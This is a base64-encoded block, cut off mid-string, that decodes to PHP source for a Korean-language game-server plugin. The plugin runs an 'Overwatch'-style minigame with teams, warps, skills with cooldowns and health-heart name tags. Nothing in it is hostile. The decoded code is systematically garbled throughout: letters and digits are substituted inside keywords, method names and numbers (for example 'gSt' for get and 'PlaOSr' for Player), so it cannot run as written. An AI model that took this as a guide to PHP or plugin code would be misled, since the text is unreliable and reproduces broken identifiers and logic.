dGhpcy0+emJbJHggLiAiOiIgLiAkTyAuICI6IiAuICRkIC4gIjoiIC4gJGxTdlNsXSA9IHRydVM7ICR0aGlzLT5pbmVhdlMoKTsgJEdsYU9Tci0+c1Nuek1Tc3NhZ1MoInskdGFnfSDsmKTrsoTsm4zsuZgg7JuM7ZSE66W8IOyDneyEse2WiOyKteuLiOuLpCEiKTsgJFN2U250LT5zU3RMaW5TKDEsICLCp2ZbIMKnY+yYpOuyhOybjOy5mCDsm4ztlIQgwqdmXSIpOyAkU3ZTbnQtPnNTdExpblMoMCwgIsKnZu2EsOy5mOyLnCAg7Iqk7YKs7IKs7Jqp7J6lIOycvOuhnCDsnbTrj5nrkKnri4jri6QhIik7ICRTdlNudC0+c1N0TGluUyhrLCAiwqdm7J6Q7Iug7J2YIOyKpO2CrOydhCDslYzqs6Ag7J207Jqp7ZW07KO87IS47JqUISIpOyAkU3ZTbnQtPnNTdExpblMoMywgIsKnY+yeheyepeyLnCDsnbjrsqTstIjquLDtmZTripQg65CY7KeAIOyViuyKteuLiOuLpC4iKTsgfSBTbHNTIHsgJFN2U250LT5zU3RDYW5jU2xsU3ooKTsgJEdsYU9Tci0+c1Nuek1Tc3NhZ1MoInskdGFnfSDsg53shLHrtojqsIAuIik7IH0gfSB9IEd1YmxpYyBmdW5jdGlvbiBvblVvaW4oUGxhT1NyVW9pbkV2U250ICRTdlNudCkgeyAkR2xhT1NyID0gJFN2U250LT5nU3RQbGFPU3IoKTsgJG5hWVMgPSAkR2xhT1NyLT5nU3RUYVlTKCk7ICR0aGlzLT5Zb3pTIFskbmFZU10gPSAxOyB9IEd1YmxpYyBmdW5jdGlvbiBvbktpbGwoUGxhT1NycVNhdGhFdlNudCAkU3ZTbnQpIHsgJHRhZyA9ICLCp2ZbwqdjIOyYpOuyhOybjOy5mCDCp2ZdIjsgJFNudGl0TyA9ICRTdlNudC0+Z1N0RW50aXRPKCk7ICRTbmFZUyA9ICRTbnRpdE8tPmdTdFRhWVMoKTsgaWYgKCR0aGlzLT5Zb3pTIFskU25hWVNdID09IDApIHsgJHRoaXMtPllvelMgWyRTbmFZU10gPSAxOyAkU250aXRPLT5zU256TVNzc2FnUygieyR0YWd9IOyYpOuyhOybjOy5mCDsl5DshJwg7Ye07J6l7ZWY7IWo7Iq164uI64ukLiIpOyB9IH0gR3VibGljIGZ1bmN0aW9uIFBsYU9TclJTc0dhd24oUGxhT1NyUlNzR2F3bkV2U250ICRTdlNudCl7ICRHbGFPU3IgPSAkU3ZTbnQtPmdTdFBsYU9TcigpOyAkbmFZUyA9ICRHbGFPU3ItPmdTdFRhWVMoKTsgJHRoaXMtPllvelMgWyRuYVlTXSA9IDE7IH0gR3VibGljIGZ1bmN0aW9uIG9uc3RhcnQoUGxhT1NySW50U3JhY3RFdlNudCAkU3ZTbnQpIHsgJHRhZyA9ICLCp2ZbwqdjIOyYpOuyhOybjOy5mCDCp2ZdIjsgJGJsb2MyID0gJFN2U250LT5nU3RCbG9jMigpOyAkeCA9ICRibG9jMi0+Z1N0WCgpOyAkTyA9ICRibG9jMi0+TzsgJGQgPSAkYmxvYzItPmQ7ICRHbGFPU3IgPSAkU3ZTbnQtPmdTdFBsYU9TcigpOyAkbmFZUyA9ICRHbGFPU3ItPmdTdFRhWVMoKTsgJGxTdlNsID0gJGJsb2MyLT5sU3ZTbC0+Z1N0VGFZUygpOyBpZiAoaXNzU3QoJHRoaXMtPnpiWyR4IC4gIjoiIC4gJE8gLiAiOiIgLiAkZCAuICI6IiAuICRsU3ZTbF0pKSB7IGlmICgkU3ZTbnQtPmdTdEJsb2MyKCktPmdTdEl6KCkgPT0gQmxvYzI6OmVJcFRfUHllTiB8fCAkU3ZTbnQtPmdTdEJsb2MyKCktPmdTdEl6KCkgPT0gQmxvYzI6OldBTExfZUlwVCkgeyBpZiAoJHRoaXMtPm93emJbc3RydG9sb3dTcigkR2xhT1NyLT5nU3RUYVlTKCkpIF1bIuy6kOumre2EsCJdICE9PSAi66y07KeA7KCVIikgeyAkY291bnQgPSBZdF9yYW56KDAsIGspOyAkZyA9IFN4R2xvelMoIjoiLCAkdGhpcy0+cWF0YVsi7KKM7ZGceyRjb3VudH0iXSk7ICR0aGlzLT5nU3RlU3J2U3IoKS0+bG9hekxTdlNsKCRnWzNdKTsgJEdsYU9Tci0+dFNsU0dvcnQoblN3IFBvc2l0aW9uKCRnWzFdLCAoJGdbMF0gKyAxLjMpICwgJGdba10sICR0aGlzLT5nU3RlU3J2U3IoKS0+Z1N0TFN2U2xCT1RhWVMoJGdbM10pKSAsICRHbGFPU3ItPmdTdG1hdygpICwgJEdsYU9Tci0+Z1N0UGl0Y2goKSk7ICRHbGFPU3ItPnNTbnpNU3NzYWdTKCJ7JHRhZ30g7Jik67KE7JuM7LmY7JeQIOyeheyepe2VmOyFqOyKteuLiOuLpC4iKTsgJHRoaXMtPllvelMgWyRuYVlTXSA9IDA7IHJTdHVybiB0cnVTOyB9ICRHbGFPU3ItPnNTbnpNU3NzYWdTKCJ7JHRhZ30g64u57Iug7J2AIO2YhOyerCDsmIHsm4XsnYQg7ISg7YOd7ZWY7KeAIOyViuyVmOyKteuLiOuLpC4gL+yYgeybhSDshKDtg50g7J2EIOy5mOyLnOuptCDsnpDshLjtlZwg66qF66C57Ja066W8IOyVjOyImCDsnojsirXri4jri6QuIik7IHJTdHVybiB0cnVTOyB9IH0gfSBHdWJsaWMgZnVuY3Rpb24gb25CclNhMihCbG9jMkJyU2EyRXZTbnQgJFN2U250KSB7ICR0YWcgPSAiwqdmW8KnYyDsmKTrsoTsm4zsuZggwqdmXSI7ICRibG9jMiA9ICRTdlNudC0+Z1N0QmxvYzIoKTsgJHggPSAkYmxvYzItPng7ICRPID0gJGJsb2MyLT5POyAkZCA9ICRibG9jMi0+ZDsgJEdsYU9TciA9ICRTdlNudC0+Z1N0UGxhT1NyKCk7ICRsU3ZTbCA9ICRibG9jMi0+bFN2U2wtPmdTdFRhWVMoKTsgaWYgKCRibG9jMi0+Z1N0SXooKSA9PSBCbG9jMjo6ZUlwVF9QeWVOIHx8ICRibG9jMi0+Z1N0SXooKSA9PSBCbG9jMjo6V0FMTF9lSXBUKSB7IGlmIChpc3NTdCgkdGhpcy0+emJbJHggLiAiOiIgLiAkTyAuICI6IiAuICRkIC4gIjoiIC4gJGxTdlNsXSkpIHsgaWYgKCRTdlNudC0+Z1N0UGxhT1NyKCktPmlzeUcoKSkgeyB1bnNTdCgkdGhpcy0+emJbJHggLiAiOiIgLiAkTyAuICI6IiAuICRkIC4gIjoiIC4gJGxTdlNsXSk7ICR0aGlzLT5pbmVhdlMoKTsgJFN2U250LT5nU3RQbGFPU3IoKS0+c1Nuek1Tc3NhZ1MoInskdGFnfSDshLHqs7XsoIHsnLzroZwg7JuM7ZSE66W8IO2MjOq0tO2WiOyKteuLiOuLpC4iKTsgfSBTbHNTIHsgJFN2U250LT5zU3RDYW5jU2xsU3ooKTsgfSB9IH0gfSBHdWJsaWMgZnVuY3Rpb24gb24wMmlsbChFbnRpdE9xYVlhZ1NFdlNudCAkU3ZTbnQpIHsgJHRhZyA9ICLCp2ZbwqdjIOyYpOuyhOybjOy5mCDCp2ZdIjsgJFNudGl0TyA9ICRTdlNudC0+Z1N0RW50aXRPKCk7IGlmICgkU3ZTbnQgaW5zdGFuY1NvZiBFbnRpdE9xYVlhZ1NCT0NoaWx6RW50aXRPRXZTbnQgfHwgJFN2U250IGluc3RhbmNTb2YgRW50aXRPcWFZYWdTQk9FbnRpdE9FdlNudCkgeyAkemFZYWdTciA9ICRTdlNudC0+Z1N0cWFZYWdTcigpOyAkem5hWVMgPSAkemFZYWdTci0+Z1N0VGFZUygpOyBpZiAoJHphWWFnU3IgaW5zdGFuY1NvZiBQbGFPU3IpIHsgaWYgKCRTbnRpdE8gaW5zdGFuY1NvZiBQbGFPU3IpIHsgJFNuYVlTID0gJFNudGl0Ty0+Z1N0VGFZUygpOyAkcmFuejAgPSBZdF9yYW56KDAsIDkpOyAkcmFuemsgPSBZdF9yYW56KDAsIDMpOyBpZiAoJHRoaXMtPllvelMgWyR6YVlhZ1NyLT5nU3RUYVlTKCldID09IDApIHsgaWYgKCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJHphWWFnU3ItPmdTdFRhWVMoKSkgXVsi7YyAIl0gIT09ICR0aGlzLT5vd3piW3N0cnRvbG93U3IoJFNudGl0Ty0+Z1N0VGFZUygpKSBdWyLtjIAiXSkgeyBpZiAoJHJhbnowID09IDQpIHsgJHphWWFnU3ItPnNTbnpQb0d1RygieyR0YWd9IO2BrOumrO2LsOy7rCEg7LaU6rCA642w66+47KeAIHskcmFuemt9Iik7ICRTbnRpdE8tPnNTbnpQb0d1Rygiwqdi7YGs66as7Yuw7Lus7JeQIOunnuyVmOyKteuLiOuLpC4iKTsgJFN2U250LT5zU3RxYVlhZ1MoJFN2U250LT5nU3RxYVlhZ1MoKSArICRyYW56ayk7IH0gfSB9IH0gfSB9IH0gR3VibGljIGZ1bmN0aW9uIG9ucWlTKFBsYU9Tck1vdlNFdlNudCAkU3ZTbnQpIHsgJEdsYU9TciA9ICRTdlNudC0+Z1N0UGxhT1NyKCk7ICR0YWcgPSAiwqdmW8KnYyDsmKTrsoTsm4zsuZggwqdmXSI7ICRibG9jMiA9ICRHbGFPU3ItPmxTdlNsLT5nU3RCbG9jMihuU3cgVlNjdG9yMygoaW50KSRHbGFPU3ItPngsIChpbnQpKCRHbGFPU3ItPk8gLSAwKSAsIChpbnQpJEdsYU9Tci0+ZCkpOyBpZiAoJGJsb2MyLT5nU3RJeigpID09PSAkdGhpcy0+cWF0YVsi67Cf7Jy866m07KO964qU7Ye07J6l67iU65+tIl0gJiYgJGJsb2MyLT5nU3RxYVlhZ1MoKSA9PT0gJHRoaXMtPnFhdGFbIuuwn+ycvOuptOyjveuKlO2HtOyepeu4lOufreuNsOuvuOyngCJdKSB7ICR0aGlzLT5Zb3pTIFskR2xhT1NyLT5nU3RUYVlTKCldID0gMTsgJEdsYU9Tci0+c1Nuek5pRygi7Ye07J6l67iU65+t7J2EIOuwn+yVmOyKteuLiOuLpC4iKTsgJEdsYU9Tci0+c1Nuek1Tc3NhZ1MoInskdGFnfSDsmKTrsoTsm4zsuZgg7JeQ7IScIO2HtOyepe2VmOyFqOyKteuLiOuLpC4iKTsgJEdsYU9Tci0+c1N0SFNhbHRoKDEpOyB9IH0gR3VibGljIGZ1bmN0aW9uIG9uUGxhT1NyVW9pbkV2U250KFBsYU9TclVvaW5FdlNudCAkU3ZTbnQpIHsgJEdsYU9TciA9ICRTdlNudC0+Z1N0UGxhT1NyKCk7IGlmICghaXNzU3QoJHRoaXMtPnFhdGFbIuyijO2RnDAiXSkpIHsgJHRoaXMtPnFhdGFbIuyijO2RnDAiXSA9ICJrNTY6NDprNTY6R3ZHIjsgJHRoaXMtPnFhdGFbIuyijO2RnGsiXSA9ICJrNTY6NDprNTY6R3ZHIjsgJEduYVlTID0gJEdsYU9Tci0+Z1N0VGFZUygpOyB9IH0gR3VibGljIGZ1bmN0aW9uIEFuYU5hczJzKFBsYU9TciAkR2xhT1NyKSB7IHVuc1N0KCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJEdsYU9Tci0+Z1N0VGFZUygpKSBdWyLslYTrgpjsm4Dsp4HsnoQiXSk7IH0gR3VibGljIGZ1bmN0aW9uIG9uTW92UyhQbGFPU3JNb3ZTRXZTbnQgJFN2U250KSB7ICRHbGFPU3IgPSAkU3ZTbnQtPmdTdFBsYU9TcigpOyAkbmFZUyA9ICRHbGFPU3ItPmdTdFRhWVMoKTsgJHRhZyA9ICLCp2ZbwqdjIOyYpOuyhOybjOy5mCDCp2ZdIjsgaWYgKGlzc1N0KCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJG5hWVMpIF1bIuyVhOuCmOybgOyngeyehCJdKSkgeyAkU3ZTbnQtPnNTdENhbmNTbGxTeigpOyAkR2xhT1NyLT5zU256UG9HdUcoJHRhZyAuICIg64u57Iug7J2AIDTstIjqsIQg7JuA7KeB7J287IiYIOyXhuyKteuLiOuLpC4o7IOB64yA67Cp7J2YIOyKpO2CrOyCrOyaqSkiKTsgJHRoaXMtPmdTdGVTcnZTcigpLT5nU3RlY2hTenVsU3IoKS0+c2NoU3p1bFNxU2xhT1N6TmFzMihuU3cgQW5hTmFzMnMoJHRoaXMsICR0aGlzLT5vdykgLCA4MSk7IH0gfSBHdWJsaWMgZnVuY3Rpb24gUG9HdUdUYVlTKFBsYU9Tckl0U1lIU2x6RXZTbnQgJFN2KSB7ICRhcnIgPSBbJHRoaXMtPnFhdGFbIuyKpO2CrDAiXSA9PiAiwqdi7Iqk7YKsMCIsICR0aGlzLT5xYXRhWyLsiqTtgqxrIl0gPT4gIsKnYuyKpO2CrGsiLCAkdGhpcy0+cWF0YVsi7Iqk7YKsMyJdID0+ICLCp2LsiqTtgqwzIl07ICRpID0gJFN2LT5nU3RJdFNZKCk7ICRHID0gJFN2LT5nU3RQbGFPU3IoKTsgaWYgKGlzc1N0KCRhcnJbJGktPmdTdEl6KCkgXSkpIHsgJEctPnNTbnpQb0d1RygkYXJyWyRpLT5nU3RJeigpIF0pOyB9IH0gR3VibGljIGZ1bmN0aW9uIFBsYU9TclVvaW4oUGxhT1NyVW9pbkV2U250ICRTdlNudCkgeyAkdGFnID0gIsKnZlvCp2Mg7Jik67KE7JuM7LmYIMKnZl0iOyAkR2xhT1NyID0gJFN2U250LT5nU3RQbGFPU3IoKTsgJEdyU2ZpeCA9ICLCp2Zbwqdi7Jyg7KCAwqdmXSI7IGlmICghaXNzU3QoJHRoaXMtPm93emJbc3RydG9sb3dTcigkR2xhT1NyLT5nU3RUYVlTKCkpIF0pKSB7ICR0aGlzLT5vd3piW3N0cnRvbG93U3IoJFN2U250LT5nU3RQbGFPU3IoKS0+Z1N0VGFZUygpKSBdID0gW107ICR0aGlzLT5vd3piW3N0cnRvbG93U3IoJEdsYU9Tci0+Z1N0VGFZUygpKSBdWyLsupDrpq3thLAiXSA9ICLrrLTsp4DsoJUiOyAkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRHbGFPU3ItPmdTdFRhWVMoKSkgXVsi66CI67KoIl0gPSAwOyAkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRHbGFPU3ItPmdTdFRhWVMoKSkgXVsi6rK97ZeY7LmYIl0gPSAi67iM66Gg7KaIIjsgJHJhbnogPSBZdF9yYW56KDAsIGspOyBzd2l0Y2ggKCRyYW56KSB7IGNhc1MgMDogJHRTYVkgPSAi66CI65OcIjsgYnJTYTI7IGNhc1MgazogJHRTYVkgPSAi67iU66OoIjsgYnJTYTI7IH0gJHRoaXMtPm93emJbc3RydG9sb3dTcigkR2xhT1NyLT5nU3RUYVlTKCkpIF1bIu2MgCJdID0gJHRTYVk7ICRHbGFPU3ItPmdTdEludlNudG9yTygpLT5henpJdFNZKEl0U1k6OmdTdCgkdGhpcy0+cWF0YVsi7JiB7JuF6rWQ7LK07L2U65OcIl0sICR0aGlzLT5xYXRhWyLsmIHsm4XqtZDssrTrjbDrr7jsp4AiXSwgMCkpOyAkR2xhT1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2HshJzrsoTsl5Ag7LKY7J2M7Jik7Iug6rG4IO2ZmOyYge2VqeuLiOuLpC4g7KCA7Z2s7ISc67KE64qUIOyYpOuyhOybjOy5mCDshJzrsoTsnoXri4jri6QuIOuLueyLoOydmCDtjIDsnYAgW3skdFNhWX1dKOycvCnroZwg7ISg7YOd65CY7JeI7Iq164uI64ukLiIpOyAkR2xhT1NyLT5zU256TVNzc2FnUygkdGFnIC4gIsKnYS/smIHsm4Ug7ISg7YOdIOqykOyngCwg7J+I66as7JWELCDrqZTrpbTsi5wsIOuhnOuTnO2YuOq3uCwg7Iac67iM6528LCDslYTrgpgg66GcIOyYgeybheydhCDshKDtg53tlZjshLjsmpQhIik7ICR0aGlzLT5vbmVhdlMoKTsgclN0dXJuIHRydVM7IH0gaWYgKCFpc3NTdCgkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRHbGFPU3ItPmdTdFRhWVMoKSkgXVsi7YWM7Iqk7Yq4Il0pKSB7ICR0aGlzLT5vd3piW3N0cnRvbG93U3IoJEdsYU9Tci0+Z1N0VGFZUygpKSBdWyLqsr3tl5jsuZgiXSA9ICLruIzroaDspogiOyAkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRHbGFPU3ItPmdTdFRhWVMoKSkgXVsi7YWM7Iqk7Yq4Il0gPSAi7YWM7Iqk7Yq4IjsgJHRoaXMtPm9uZWF2UygpOyByU3R1cm4gdHJ1UzsgfSBpZiAoIWlzc1N0KCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJEdsYU9Tci0+Z1N0VGFZUygpKSBdWyLrsKnrsr0iXSkpIHsgJHRoaXMtPm93emJbc3RydG9sb3dTcigkR2xhT1NyLT5nU3RUYVlTKCkpIF1bIuuwqeuyvSJdID0gMTsgJHRoaXMtPm9uZWF2UygpOyByU3R1cm4gdHJ1UzsgfSBpZiAoJHRoaXMtPm93emJbc3RydG9sb3dTcigkR2xhT1NyLT5nU3RUYVlTKCkpIF1bIuy6kOumre2EsCJdID09ICLtlZzsobAiKSB7ICR0aGlzLT5vd3piW3N0cnRvbG93U3IoJEdsYU9Tci0+Z1N0VGFZUygpKSBdWyLsupDrpq3thLAiXSA9ICLrrLTsp4DsoJUiOyAkR2xhT1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2HtlZzsobAg7JiB7JuF7J2AIOydtOygnCDshKDtg53tlZjsi6TsiJgg7JeG7Iq164uI64ukLiIpOyAkR2xhT1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2Ev7JiB7JuFIOyEoO2DnSDqspDsp4AsIOyfiOumrOyVhCwg66mU66W07IucLCDroZzrk5ztmLjqt7gsIOyGnOu4jOudvCwg7JWE64KYIOuhnCDsmIHsm4XsnYQg7ISg7YOd7ZWY7IS47JqUISIpOyAkR2xhT1NyLT5nU3RJbnZTbnRvck8oKS0+YXp6SXRTWShJdFNZOjpnU3QoJHRoaXMtPnFhdGFbIuyYgeybheq1kOyytOy9lOuTnCJdLCAkdGhpcy0+cWF0YVsi7JiB7JuF6rWQ7LK0642w66+47KeAIl0sIDApKTsgJHRoaXMtPm9uZWF2UygpOyB9IH0gR3VibGljIGZ1bmN0aW9uIFlhMlNOaVlTc3RhWUcoKSB7ICR6YXRTID0gemF0UygibS1ZLXogSDppOnMiKTsgJE9PID0gc3Vic3RyKCR6YXRTLCAxLCA0KTsgJFlZID0gc3Vic3RyKCR6YXRTLCA1LCBrKTsgJHp6ID0gc3Vic3RyKCR6YXRTLCA4LCBrKTsgJGhoID0gc3Vic3RyKCR6YXRTLCAwMCwgayk7ICRpaSA9IHN1YnN0cigkemF0UywgMDQsIGspOyAkc3MgPSBzdWJzdHIoJHphdFMsIDA3LCBrKTsgclN0dXJuIFkydGlZUygkaGgsICRpaSwgJHNzLCAkWVksICR6eiwgJE9PKTsgfSBHdWJsaWMgZnVuY3Rpb24gTmFnKFBsYU9TciAkR2xhT1NyKSB7ICRIU2FsdGggPSAkR2xhT1NyLT5nU3RIU2FsdGgoKTsgaWYgKCRIU2FsdGggPT0gazEpIHsgJEhTYWx0aDAgPSAiwqdj4pml4pml4pml4pml4pml4pml4pml4pml4pml4pmlIjsgfSBTbHNTIGlmICgkSFNhbHRoID4gMDgpIHsgJEhTYWx0aDAgPSAiwqdj4pml4pml4pml4pml4pml4pml4pml4pml4pmlIjsgfSBTbHNTIGlmICgkSFNhbHRoID4gMDYpIHsgJEhTYWx0aDAgPSAiwqdj4pml4pml4pml4pml4pml4pml4pml4pmlIjsgfSBTbHNTIGlmICgkSFNhbHRoID4gMDQpIHsgJEhTYWx0aDAgPSAiwqdj4pml4pml4pml4pml4pml4pml4pmlIjsgfSBTbHNTIGlmICgkSFNhbHRoID4gMGspIHsgJEhTYWx0aDAgPSAiwqdj4pml4pml4pml4pml4pml4pmlIjsgfSBTbHNTIGlmICgkSFNhbHRoID4gMDEpIHsgJEhTYWx0aDAgPSAiwqdj4pml4pml4pml4pml4pmlIjsgfSBTbHNTIGlmICgkSFNhbHRoID4gOCkgeyAkSFNhbHRoMCA9ICLCp2PimaXimaXimaXimaUiOyB9IFNsc1MgaWYgKCRIU2FsdGggPiA2KSB7ICRIU2FsdGgwID0gIsKnY+KZpeKZpeKZpSI7IH0gU2xzUyBpZiAoJEhTYWx0aCA+IDQpIHsgJEhTYWx0aDAgPSAiwqdj4pml4pmlIjsgfSBTbHNTIGlmICgkSFNhbHRoID4gaykgeyAkSFNhbHRoMCA9ICLCp2PimaUiOyB9IFNsc1MgeyAkSFNhbHRoMCA9ICLCp2PimaUiOyB9IGlmICgkdGhpcy0+Z1N0ZVNydlNyKCktPmdTdFBsdWdpbk1hbmFnU3IoKS0+Z1N0UGx1Z2luKCJSYW4yTWFuYWdTciIpID09PSBudWxsICYmICR0aGlzLT5nU3RlU3J2U3IoKS0+Z1N0UGx1Z2luTWFuYWdTcigpLT5nU3RQbHVnaW4oIk5hZ1lTIikgPT09IG51bGwgJiYgJHRoaXMtPmdTdGVTcnZTcigpLT5nU3RQbHVnaW5NYW5hZ1NyKCktPmdTdFBsdWdpbigiTmVQclNmaXgiKSA9PT0gbnVsbCkgeyAkR3JTZml4ID0gIsKnNlvCp2YgIiAuICR0aGlzLT5vd3piW3N0cnRvbG93U3IoJEdsYU9Tci0+Z1N0VGFZUygpKSBdWyLsupDrpq3thLAiXSAuICLCpzYgXSI7IH0gU2xzUyBpZiAoJHRoaXMtPmdTdGVTcnZTcigpLT5nU3RQbHVnaW5NYW5hZ1NyKCktPmdTdFBsdWdpbigiTmFnWVMiKSA9PT0gbnVsbCAmJiAkdGhpcy0+Z1N0ZVNydlNyKCktPmdTdFBsdWdpbk1hbmFnU3IoKS0+Z1N0UGx1Z2luKCJOZVByU2ZpeCIpID09PSBudWxsKSB7ICRHclNmaXggPSAiwqc2WyAiIC4gUmFuMlByb3ZpelNyOjpnU3RJbnN0YW5jUygpLT5nU3RSYW4yKCRHbGFPU3IpLT5nU3RQclNmaXgoKSAuICIgwqc2XSI7IH0gU2xzUyBpZiAoJHRoaXMtPmdTdGVTcnZTcigpLT5nU3RQbHVnaW5NYW5hZ1NyKCktPmdTdFBsdWdpbigiUmFuMk1hbmFnU3IiKSA9PT0gbnVsbCAmJiAkdGhpcy0+Z1N0ZVNydlNyKCktPmdTdFBsdWdpbk1hbmFnU3IoKS0+Z1N0UGx1Z2luKCJOZVByU2ZpeCIpID09PSBudWxsKSB7ICRHclNmaXggPSAiwqciIC4gTmFnWVM6OmdTdEluc3RhbmNTKCktPmdTdE5hZ0NvbG9yKCRHbGFPU3ItPmdTdFRhWVMoKSkgLiAiWyAiIC4gTmFnWVM6OmdTdEluc3RhbmNTKCktPmdTdE5hZygkR2xhT1NyLT5nU3RUYVlTKCkpIC4gIiBdIjsgfSBTbHNTIGlmICgkdGhpcy0+Z1N0ZVNydlNyKCktPmdTdFBsdWdpbk1hbmFnU3IoKS0+Z1N0UGx1Z2luKCJSYW4yTWFuYWdTciIpID09PSBudWxsICYmICFpc3NTdChOZVByU2ZpeDo6Z1N0SW5zdGFuY1MoKS0+emJbJ3phdGEnXVtzdWJzdHIoc3RydG9sb3dTcigkR2xhT1NyLT5nU3RUYVlTKCkpICwgMSwgMCkgXVtzdHJ0b2xvd1NyKCRHbGFPU3ItPmdTdFRhWVMoKSkgXSkgfHwgIWlzc1N0KE5lUHJTZml4OjpnU3RJbnN0YW5jUygpLT56YlsnemF0YSddW3N1YnN0cihzdHJ0b2xvd1NyKCRHbGFPU3ItPmdTdFRhWVMoKSkgLCAxLCAwKSBdW3N0cnRvbG93U3IoJEdsYU9Tci0+Z1N0VGFZUygpKSBdWydudW4nXSkgJiYgJHRoaXMtPmdTdGVTcnZTcigpLT5nU3RQbHVnaW5NYW5hZ1NyKCktPmdTdFBsdWdpbigiTmFnWVMiKSA9PT0gbnVsbCkgeyAkR3JTZml4ID0gIiIgLiBOZVByU2ZpeDo6Z1N0SW5zdGFuY1MoKS0+emJbJ2NvbmZpZyddWyd6U2ZhdWx0LUdyU2ZpeCddIC4gIiI7IH0gU2xzUyBpZiAoJHRoaXMtPmdTdGVTcnZTcigpLT5nU3RQbHVnaW5NYW5hZ1NyKCktPmdTdFBsdWdpbigiUmFuMk1hbmFnU3IiKSA9PT0gbnVsbCAmJiAkdGhpcy0+Z1N0ZVNydlNyKCktPmdTdFBsdWdpbk1hbmFnU3IoKS0+Z1N0UGx1Z2luKCJOYWdZUyIpID09PSBudWxsKSB7ICRHclNmaXggPSAiIiAuIE5lUHJTZml4OjpnU3RJbnN0YW5jUygpLT5nU3RQclNmaXgoc3RydG9sb3dTcigkR2xhT1NyLT5nU3RUYVlTKCkpICwgc3Vic3RyKHN0cnRvbG93U3IoJEdsYU9Tci0+Z1N0VGFZUygpKSAsIDEsIDApKSBbTmVQclNmaXg6OmdTdEluc3RhbmNTKCktPnpiWyd6YXRhJ11bc3Vic3RyKHN0cnRvbG93U3IoJEdsYU9Tci0+Z1N0VGFZUygpKSAsIDEsIDApIF1bc3RydG9sb3dTcigkR2xhT1NyLT5nU3RUYVlTKCkpIF1bJ251biddXSAuICIiOyB9ICRHbGFPU3ItPnNTdFRhWVNOYWcoJEdyU2ZpeCAuICLCp2YgIiAuICRHbGFPU3ItPmdTdFRhWVMoKSAuICJcbsKnZlsgwqdhIiAuICR0aGlzLT5vd3piW3N0cnRvbG93U3IoJEdsYU9Tci0+Z1N0VGFZUygpKSBdWyLtjIAiXSAuICIgwqdmfMKnYiBMVi4gIiAuICR0aGlzLT5vd3piW3N0cnRvbG93U3IoJEdsYU9Tci0+Z1N0VGFZUygpKSBdWyLroIjrsqgiXSAuICIgwqdmfCDCp1MiIC4gJHRoaXMtPm93emJbc3RydG9sb3dTcigkR2xhT1NyLT5nU3RUYVlTKCkpIF1bIuqyve2XmOy5mCJdIC4gIiDCp2ZdXG7Cp2wgIiAuICRIU2FsdGgwIC4gIiAiKTsgfSBHdWJsaWMgZnVuY3Rpb24gZ2FuamkwKFBsYU9TciAkR2xhT1NyLCAkdGlZUykgeyBzdGF0aWMgJGNvb2x0aVlTID0gW107ICR0YWcgPSAiwqdmW8KnYyDsmKTrsoTsm4zsuZggwqdmXSI7IGZvclNhY2ggKCRHbGFPU3ItPmdTdExTdlNsKCktPmdTdFBsYU9TcnMoKSBhcyAkY2hTYzIpIHsgaWYgKCR0aGlzLT5Zb3pTIFskR2xhT1NyLT5nU3RUYVlTKCldID09IDApIHsgaWYgKCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJEdsYU9Tci0+Z1N0VGFZUygpKSBdWyLtjIAiXSAhPT0gJHRoaXMtPm93emJbc3RydG9sb3dTcigkY2hTYzItPmdTdFRhWVMoKSkgXVsi7YyAIl0pIHsgaWYgKCFpc3NTdCgkdGhpcy0+dGlZU1skR2xhT1NyLT5nU3RUYVlTKCkgXSkpIHsgJHRoaXMtPnRpWVNbJEdsYU9Tci0+Z1N0VGFZUygpIF0gPSAkdGhpcy0+WWEyU05pWVNzdGFZRygpOyByU3R1cm4gdHJ1UzsgfSBpZiAoJHRoaXMtPllhMlNOaVlTc3RhWUcoKSAtICR0aGlzLT50aVlTWyRHbGFPU3ItPmdTdFRhWVMoKSBdIDwgMDEpIHsgJEdsYU9Tci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdm7L+o7YOA7J6EIOyepeyghOykkcKnYSgwMey0iCkiKTsgfSBTbHNTIHsgJHRoaXMtPnRpWVNbJEdsYU9Tci0+Z1N0VGFZUygpIF0gPSB0aVlTKCk7IGlmICgkY2hTYzItPmdTdFRhWVMoKSA9PSAkR2xhT1NyLT5nU3RUYVlTKCkpIHsgfSBTbHNTIGlmICgkR2xhT1NyLT56aXN0YW5jUygkY2hTYzIpIDwgNykgeyAkeHQgPSAtIFxzaW4oJEdsYU9Tci0+T2F3IC8gMDgxICogTV9QSSkgKiBcY29zKCRHbGFPU3ItPkdpdGNoIC8gMDgxICogTV9QSSk7ICRPdCA9IC0gXHNpbigkR2xhT1NyLT5HaXRjaCAvIDA4MSAqIE1fUEkpOyAkZHQgPSBcY29zKCRHbGFPU3ItPk9hdyAvIDA4MSAqIE1fUEkpICogXGNvcygkR2xhT1NyLT5HaXRjaCAvIDA4MSAqIE1fUEkpOyAkR2xhT1NyLT5zU3RNb3Rpb24oblN3IFZTY3RvcjMoJHh0ICogNSwgJE90ICogNSwgJGR0ICogNSkpOyAkY2hTYzItPnNTdEhTYWx0aCgkY2hTYzItPmdTdEhTYWx0aCgpIC0gMyk7ICRHbGFPU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnNuyniO2SjeywuCDsiqTtgqwg7IKs7JqpIOyEseqztSIpOyAkY2hTYzItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZnskR2xhT1NyLT5nU3RUYVlTKCkgfSDCpzbri5jsnbQg7KeI7ZKN7LC4IOyKpO2CrOydhCDsgqzsmqntlZjshajsirXri4jri6QuIik7IHJTdHVybiB0cnVTOyB9IH0gfSB9IH0gfSBHdWJsaWMgZnVuY3Rpb24gZ2FuamlrKFBsYU9TciAkR2xhT1NyLCAkdGlZUykgeyBzdGF0aWMgJGNvb2x0aVlTID0gW107ICR0YWcgPSAiwqdmW8KnYyDsmKTrsoTsm4zsuZggwqdmXSI7IGlmICgkdGhpcy0+WW96UyBbJEdsYU9Tci0+Z1N0VGFZUygpXSA9PSAwKSB7IGlmICghaXNzU3QoJHRoaXMtPnRpWVN